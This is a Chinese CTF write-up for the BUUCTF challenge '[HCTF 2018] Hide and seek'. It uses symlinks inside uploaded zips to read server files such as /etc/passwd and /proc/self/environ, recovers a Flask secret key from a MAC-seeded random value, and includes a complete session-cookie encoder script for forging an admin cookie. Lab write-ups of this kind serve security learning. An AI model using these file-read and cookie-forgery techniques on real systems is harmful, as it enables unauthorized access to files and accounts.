首页 > 其他分享 >BUUCTF:[HCTF 2018]Hide and seek

BUUCTF:[HCTF 2018]Hide and seek

时间:2023-06-19 21:02:20浏览次数:54  
标签:BUUCTF Hide key app session cookie file return seek


BUUCTF:[HCTF 2018]Hide and seek 参考:https://www.jianshu.com/p/d20168da7284

BUUCTF:[HCTF 2018]Hide and seek_sed

先随便输入账号密码登录

BUUCTF:[HCTF 2018]Hide and seek_mac地址_02


提示我们上传zip文件

BUUCTF:[HCTF 2018]Hide and seek_随机数_03


上传一个文件压缩后的zip,输出了文件压缩前的内容

可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,试试看能不能读取

root@mochu7:~/Desktop# ln -s /etc/passwd passwd
root@mochu7:~/Desktop# zip -y passwd.zip passwd 
  adding: passwd (stored 0%)
root@mochu7:~/Desktop# ls
firefox-esr.desktop  passwd  passwd.zip  test
root@mochu7:~/Desktop#

上传passwd.zip,读取到了/etc/passwd的内容

BUUCTF:[HCTF 2018]Hide and seek_随机数_04


BUUCTF:[HCTF 2018]Hide and seek_mac地址_05


返现存在admin账号,但是这里应该并没有数据库(这点从任何账号密码都可登录即可看出),admin账号应该就是靠cookie或者session验证的,所以查看一下页面cookie信息,发现一个很想flask的session

BUUCTF:[HCTF 2018]Hide and seek_随机数_06


尝试解一下

https://jwt.io/#debugger-io

BUUCTF:[HCTF 2018]Hide and seek_随机数_07


这样,我们只需要伪造admin的session即可,需要找到admin的session生成方式,接着尝试读取文件

/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

environ是 — 当前进程的环境变量列表,self可以替换成进程号。

读取/proc/self/environ

生成一个指向/proc/self/environ的软链接
ln -s /proc/self/environ env

压缩这个软链接生成zip压缩文件
zip -y env.zip env

上传读取到的文件内容

HOSTNAME=98cce75cd9cb
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/uwsgi.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16
STATIC_URL=/static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
LAG=not_flag
uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议

接着读取这个文件/app/uwsgi.ini

[uwsgi] 
module = main 
callable=app 
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

猜测源码位置/app/mian.py

BUUCTF:[HCTF 2018]Hide and seek_mac地址_08


我不知道为啥我都出来的源码是这样的,不知道是不是路径不对,还是看别人读的源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

代码第29行,可以知道flag是藏在/app/flag.py文件里,想着是不是可以生成下软链接直接读取呢,后面测试,发现还是提示you are not admin
然后重定向到index页面,原来是第79行处,执行了一个判断,如果通过上传的zip打开的文件里面有含有hctf的话,就会重定向到index?error=1页面,所以这条路是行不通的,对应了前面分析。
所以只能通过找SECRET_KEY这个方法了,我们看到第11行 app.config['SECRET_KEY'] = str(random.random()*100)SECRET_KEY居然等于一个随机数字字符串
难道每次SECRET_KEY能不一样,后面发现,原来在这行代码之前第9行处,有一个random.seed(uuid.getnode()),设置随机数种子操作。我们知道,python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的
于是把注意力放到这里的伪随机数种子,uuid.getnode(),通过查询可以知道,这个函数可以获取网卡mac地址并转换成十进制数返回。也就是说,只要搞到服务器的网卡mac地址,就能确定种子,进而确定SECRET_KEY,那服务器网卡mac地址又怎么获得呢?
linux中一切皆文件,网卡mac地址也能在文件中找到。可以通过读/sys/class/net/eth0/address文件得到mac地址,于是构造软链接、生成zip、上传看返回结果,如下图,得到服务器mac地址为:02:42:ae:01:9c:bd。然后就是把mac地址处理下,转换成10进制,然后设置成seed,生成一下SECRET_KEY。脚本如下

import uuid
import random

mac = "02:42:ae:01:9c:bd"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #结果为 55.1222587560636
PS C:\Users\Administrator\Desktop\TEST> python3 test.py    
55.1222587560636

SECRET_KEY=55.1222587560636 使用flask_session_manager脚本生成admin的session

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
PS C:\Users\Administrator\Desktop\TEST> python3 flask_session_manager.py encode -s '55.1222587560636' -t "{'username':'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XoDYiA.9BlhaUQFsUvvl0WPPQFWBq-rEHY
PS C:\Users\Administrator\Desktop\TEST>

使用新生成的session替换原来的session即可登录admin

BUUCTF:[HCTF 2018]Hide and seek_sed_09


标签:BUUCTF,Hide,key,app,session,cookie,file,return,seek
From: https://blog.51cto.com/u_16159500/6517206

相关文章

  • BUUCTF:[RCTF2015]EasySQL
    BUUCTF:[RCTF2015]EasyS先注册一个用户在注册的时候,fuzz测试发现在username和email中过滤了以下字符:@orandspace(空格)substrmidleftrighthandle没有源码慢慢测试.......登录,发现还有个改密码在注册时用户名加些测试字符进去,'mochu7"\然后登录,在修改密码的时候,发现报错了......
  • BUUCTF NewStarCTF 公开赛赛道Week2 Writeup
    文章目录WEEK2WEBWord-For-You(2Gen)IncludeOneUnserializeOneezAPIMISCYesecnodrumsticks2Coldwinds'sDesktop奇怪的二维码qsdz'sgirlfriend2WEEK2WEBWord-For-You(2Gen)题目描述哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘......
  • BUUCTF:[HDCTF2019]你能发现什么蛛丝马迹吗
    https://buuoj.cn/challenges#[HDCTF2019]%E4%BD%A0%E8%83%BD%E5%8F%91%E7%8E%B0%E4%BB%80%E4%B9%88%E8%9B%9B%E4%B8%9D%E9%A9%AC%E8%BF%B9%E5%90%97memory.imgVolatility分析查看文件的Profilevolatility-fmemory.imgimageinfo猜测为:Win2003SP1x86查看进程volatility-fmemor......
  • BUUCTF:[GKCTF2020]Harley Quinn
    https://buuoj.cn/challenges#[GKCTF2020]Harley%20QuinnHeathens末尾存在DTMF码(电话拨号码)将这一段截取出来,使用工具dtmf2num识别#22283334447777338866#对照即可得到#ctfisfun#题目压缩包上有提示:FreeFileCamouflageFreeFileCamouflage是一款将重要文档以AES加密算法存放......
  • BUUCTF:[SUCTF2018]followme
    https://buuoj.cn/challenges#[SUCTF2018]followme导出HTTP,这里大部分文件内容显示貌似再爆破admin密码有点多,尝试整个文件夹找一下相关关键字,例如CTF、flag之类的grep-r'CTF'./new/flag{password_is_not_weak}......
  • BUUCTF:[MRCTF2020]Ez_bypass
    https://buuoj.cn/challenges#[MRCTF2020]Ez_bypass右键查看源代码include'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])){$id=$_GET['id'];$gg=$_GET......
  • BUUCTF:大流量分析(二)
    https://buuoj.cn/challenges#%E5%A4%A7%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%EF%BC%88%E4%BA%8C%EF%BC%89数据采集D_eth0_NS_20160809_164452.pcap查看下邮件协议:POP、SMTP、IMAP这里只有SMTP追踪TCP流看到了钓鱼邮件解码下这串base64很明显,就是这封钓鱼邮件,而且内容里面有显......
  • BUUCTF:[GXYCTF2019]禁止套娃
    https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83.git泄露,使用GitHackindex.php<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|fil......
  • BUUCTF:[ACTF2020 新生赛]Upload
    题目地址:https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Upload图片马,filename改为.phtmlhttp://7f46d4ae-8320-44f5-a608-db84399f39e5.node3.buuoj.cn/uplo4d/0094153d9fd2e4a052850a6d656cefb6.phtml......
  • BUUCTF:[极客大挑战 2019]Upload
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]UploadPOST/upload_file.phpHTTP/1.1Host:b40c1d53-d3d6-43be-9f6d-67c767946f8c.node3.buuoj.cnUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:82.0)Gecko/2010......